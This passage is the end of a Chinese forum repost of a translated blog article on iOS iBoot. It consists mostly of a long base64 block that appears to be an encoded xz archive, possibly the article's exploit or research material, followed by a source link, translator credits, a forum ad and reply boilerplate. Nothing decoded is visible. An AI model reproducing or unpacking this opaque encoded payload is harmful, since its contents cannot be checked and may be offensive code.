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
====

-- 全文完
原文链接:https://xerub.github.io/ios/iboot/2018/05/10/de-rebus-antiquis.html

 

编译:看雪翻译小组 daemond

 

校对: jasonk龙莲


安卓应用层抓包通杀脚本发布!《高研班》2021年3月班开始招生!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回